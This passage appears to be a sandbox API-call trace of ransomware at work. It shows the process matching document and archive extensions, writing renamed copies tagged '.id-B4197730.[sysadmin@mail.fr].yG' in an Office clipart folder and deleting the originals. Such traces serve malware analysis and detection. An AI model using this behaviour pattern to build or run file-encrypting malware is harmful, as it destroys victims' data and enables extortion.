	[0054.176] lstrlenW (lpString=".xls") returned 4
	[0054.176] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0054.176] lstrlenW (lpString=".xlsx") returned 5
	[0054.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0054.177] lstrlenW (lpString=".ppt") returned 4
	[0054.177] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.177] lstrlenW (lpString=".zip") returned 4
	[0054.177] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0054.177] lstrlenW (lpString=".rar") returned 4
	[0054.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0054.177] lstrlenW (lpString=".bz2") returned 4
	[0054.177] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0054.177] lstrlenW (lpString=".7z") returned 3
	[0054.177] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.177] lstrlenW (lpString=".dbf") returned 4
	[0054.177] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.177] lstrlenW (lpString=".1cd") returned 4
	[0054.177] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0054.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.177] lstrlenW (lpString=".jpg") returned 4
	[0054.177] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0054.177] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.177] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.178] GetLastError () returned 0x0
	[0054.178] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x32b6, lpOverlapped=0x0) returned 1
	[0054.215] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0054.216] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.216] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.216] SetEndOfFile (hFile=0x350) returned 1
	[0054.216] CloseHandle (hObject=0x350) returned 1
	[0054.217] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.217] SetEndOfFile (hFile=0x34c) returned 1
	[0054.218] CloseHandle (hObject=0x34c) returned 1
	[0054.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1
	[0054.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.218] lstrlenW (lpString=".doc") returned 4
	[0054.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.218] lstrlenW (lpString=".docx") returned 5
	[0054.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.218] lstrlenW (lpString=".pdf") returned 4
	[0054.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString=".xls") returned 4
	[0054.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.219] lstrlenW (lpString=".xlsx") returned 5
	[0054.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.219] lstrlenW (lpString=".ppt") returned 4
	[0054.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.219] lstrlenW (lpString=".zip") returned 4
	[0054.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.219] lstrlenW (lpString=".rar") returned 4
	[0054.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString=".bz2") returned 4
	[0054.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString=".7z") returned 3
	[0054.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.219] lstrlenW (lpString=".dbf") returned 4
	[0054.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.219] lstrlenW (lpString=".1cd") returned 4
	[0054.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0054.219] lstrlenW (lpString=".jpg") returned 4
	[0054.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.219] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.219] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.220] GetLastError () returned 0x0
	[0054.220] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4780, lpOverlapped=0x0) returned 1
	[0054.230] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4790, lpOverlapped=0x0) returned 1
	[0054.231] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.231] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.231] SetEndOfFile (hFile=0x350) returned 1
	[0054.232] CloseHandle (hObject=0x350) returned 1
	[0054.232] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.233] SetEndOfFile (hFile=0x34c) returned 1
	[0054.233] CloseHandle (hObject=0x34c) returned 1
	[0054.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1
	[0054.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.234] lstrlenW (lpString=".doc") returned 4
	[0054.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.234] lstrlenW (lpString=".docx") returned 5
	[0054.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.234] lstrlenW (lpString=".pdf") returned 4
	[0054.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.234] lstrlenW (lpString=".xls") returned 4
	[0054.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.234] lstrlenW (lpString=".xlsx") returned 5
	[0054.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.235] lstrlenW (lpString=".ppt") returned 4
	[0054.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.235] lstrlenW (lpString=".zip") returned 4
	[0054.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.235] lstrlenW (lpString=".rar") returned 4
	[0054.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.235] lstrlenW (lpString=".bz2") returned 4
	[0054.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.235] lstrlenW (lpString=".7z") returned 3
	[0054.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.235] lstrlenW (lpString=".dbf") returned 4
	[0054.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.235] lstrlenW (lpString=".1cd") returned 4
	[0054.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0054.235] lstrlenW (lpString=".jpg") returned 4
	[0054.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.236] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.236] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.236] GetLastError () returned 0x0
	[0054.236] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2b32, lpOverlapped=0x0) returned 1
	[0054.251] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2b40, lpOverlapped=0x0) returned 1
	[0054.252] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.253] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.253] SetEndOfFile (hFile=0x350) returned 1
	[0054.253] CloseHandle (hObject=0x350) returned 1
	[0054.257] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.257] SetEndOfFile (hFile=0x34c) returned 1
	[0054.257] CloseHandle (hObject=0x34c) returned 1
	[0054.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1
	[0054.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.258] lstrlenW (lpString=".doc") returned 4
	[0054.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.258] lstrlenW (lpString=".docx") returned 5
	[0054.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.258] lstrlenW (lpString=".pdf") returned 4
	[0054.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.258] lstrlenW (lpString=".xls") returned 4
	[0054.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.258] lstrlenW (lpString=".xlsx") returned 5
	[0054.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.259] lstrlenW (lpString=".ppt") returned 4
	[0054.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.259] lstrlenW (lpString=".zip") returned 4
	[0054.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.259] lstrlenW (lpString=".rar") returned 4
	[0054.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.259] lstrlenW (lpString=".bz2") returned 4
	[0054.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.259] lstrlenW (lpString=".7z") returned 3
	[0054.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.259] lstrlenW (lpString=".dbf") returned 4
	[0054.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.259] lstrlenW (lpString=".1cd") returned 4
	[0054.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0054.259] lstrlenW (lpString=".jpg") returned 4
	[0054.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.260] GetLastError () returned 0x0
	[0054.260] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1eb6, lpOverlapped=0x0) returned 1
	[0054.289] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1ec0, lpOverlapped=0x0) returned 1
	[0054.290] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.290] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.290] SetEndOfFile (hFile=0x350) returned 1
	[0054.290] CloseHandle (hObject=0x350) returned 1
	[0054.291] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.291] SetEndOfFile (hFile=0x34c) returned 1
	[0054.291] CloseHandle (hObject=0x34c) returned 1
	[0054.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString=".doc") returned 4
	[0054.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString=".docx") returned 5
	[0054.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.294] lstrlenW (lpString=".pdf") returned 4
	[0054.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString=".xls") returned 4
	[0054.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.294] lstrlenW (lpString=".xlsx") returned 5
	[0054.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.294] lstrlenW (lpString=".ppt") returned 4
	[0054.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString=".zip") returned 4
	[0054.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.294] lstrlenW (lpString=".rar") returned 4
	[0054.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString=".bz2") returned 4
	[0054.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString=".7z") returned 3
	[0054.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString=".dbf") returned 4
	[0054.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString=".1cd") returned 4
	[0054.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0054.294] lstrlenW (lpString=".jpg") returned 4
	[0054.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.298] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.298] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0054.299] GetLastError () returned 0x0
	[0054.299] ReadFile (in: hFile=0x350, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x6a0, lpOverlapped=0x0) returned 1
	[0054.388] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x6b0, lpOverlapped=0x0) returned 1
	[0054.389] ReadFile (in: hFile=0x350, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.389] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.389] SetEndOfFile (hFile=0x2f8) returned 1
	[0054.389] CloseHandle (hObject=0x2f8) returned 1
	[0054.390] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.390] SetEndOfFile (hFile=0x350) returned 1
	[0054.391] CloseHandle (hObject=0x350) returned 1
	[0054.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1
	[0054.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.396] lstrlenW (lpString=".doc") returned 4
	[0054.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString=".docx") returned 5
	[0054.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.396] lstrlenW (lpString=".pdf") returned 4
	[0054.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString=".xls") returned 4
	[0054.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.396] lstrlenW (lpString=".xlsx") returned 5
	[0054.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.396] lstrlenW (lpString=".ppt") returned 4
	[0054.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.396] lstrlenW (lpString=".zip") returned 4
	[0054.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.396] lstrlenW (lpString=".rar") returned 4
	[0054.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString=".bz2") returned 4
	[0054.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString=".7z") returned 3
	[0054.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.396] lstrlenW (lpString=".dbf") returned 4
	[0054.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0054.397] lstrlenW (lpString=".1cd") returned 4
